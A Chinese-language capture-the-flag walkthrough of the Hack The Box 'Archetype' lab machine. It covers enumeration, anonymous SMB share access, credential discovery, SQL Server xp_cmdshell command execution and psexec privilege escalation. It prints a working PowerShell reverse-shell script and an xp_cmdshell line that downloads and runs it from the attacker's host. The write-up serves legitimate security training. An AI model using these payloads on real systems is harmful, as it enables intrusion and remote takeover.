hack the box archetype靶场

前言

  这次开始hack the box靶场联系,首先的话先进行注册一个账号,账号里面的身份信息可以不用真实的,攻击机选择kali,因为kali是自带那个openvpn的,进入hack the box官网

在start point里面选择archetype,点击下面这个openvpn进行连接

选择download vpn

下载好后,复制一份,然后到kali进行粘贴,在桌面打开终端,输入以下命令运行

返回到hack the box可以看到已经连接成功了

点击下面的这个按钮,生成靶机的ip地址,这个过程可能需要2-3分钟

生成好后,就可以对当前的靶机进行一些渗透测试了

一.渗透测试

新开一个kali终端,输入以下命令

namp -sV --script vulners 10.129.207.83

-sV 代表收集服务器端口信息和开放的服务信息

–script vulners 代表使用扫描漏洞脚本

可以看到该服务器开放了135、139、445、1433等端口,以及一些已经公布的漏洞。其中1443是共享文件协议(smb)的默认端口。如果在没有配置权限的情况下,该协议可能允许匿名访问共享文件夹。接下来测试一下是否可以匿名访问共享文件夹。

smbclient -N -L //10.129.207.83/

-N 代表匿名访问

-L 代表列出共享文件夹

经过测试确实能匿名访问,接下来逐个查看一下这些文件夹里面有一些什么文件。最终在backups中发现一个敏感文件prod.dtsConfig,把这个文件下载下来。

smbclient -N //10.129.207.83/backups
ls
get prod.dtsConfig

在桌面就可以看到刚刚下载下来的文件,查看下

在这个文件中发现了账号 ARCHETYPE\sql_svc 和密码 M3g4c0rp123,用这个账号尝试登陆一下SQL服务,在之前通过nmap已经扫描出该服务器上使用的是SQL server。

二.连接数据库

  接下来使用网络工具协议包impacket中的mssqlclient来连接到SQL server服务器。在kali中是自带这个工具的。

impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.129.207.83

输入密码,可以看到已经连接上了

查看下是否有系统权限

SELECT IS_SRVROLEMEMBER ('sysadmin')

出现了1,有系统权限

输入以下命令

enable_xp_cmdshell

开启xp_cmdshell

查看下是否获得了系统权限

xp_cmdshell "whoami"

三.反弹shell

现在可以通过数据库执行操作系统命令,可以让服务器执行一段powershell命令来建立一个反向的shell。首先准备一个powershell文件a.ps1,该文件中代码如下所示(注意将其中的IP改成自己电脑中虚拟网卡的IP,即与靶机通信的IP地址)

$client = New-Object System.Net.Sockets.TCPClient("10.10.15.158",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 

输入ifconfig就可以看到自己的虚拟ip了

搭建一个www服务器,将刚刚创建好的a.ps1放入到www文件夹下,然后在这个文件夹下打开终端

输入以下命令

python3 -m http.server 80

在浏览器中输入localhost,即可看到创建好的文件

再次新建一个终端,创建一个监听端口

nc -lvnp 4443
这里的端口号一定是4443,要跟a.ps1中的端口号对应

接下来在靶机的sql server中执行以下命令,注意:ip地址依然需要改成自己的虚拟ip

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.15.158/a.ps1\");""
 

回到监听窗口,发现此时已经成功建立连接

现在得到了普通管理员的权限,现在可以去桌面获取flag了。

四.提权

现在已经获取到一个flag了,接下来通过提权获取更高的权限。现在可以查看一下powershell的历史,说不定有意外的收获。

type

C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

可以看出该用户执行过命令 net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!。该命令的作用是将主机ARchetype上的backups文件夹映射到自己的T盘,后面紧随着用户名和密码。

现在可以尝试用一下psexec提权,其原理是:

1.通过ipc$连接,释放psexecsvc.exe到目标

2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。

3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。

4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug。

输入以下命令,出现以下界面时就说明提权已经成功了

impacket-psexec administrator@10.129.207.83

此时就可以获取到最终的flag了

type C:\Users\Administrator\Desktop\root.txt

至此,已经获取到了所有的flag,可以到hack the box进行提交了

  • 20
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值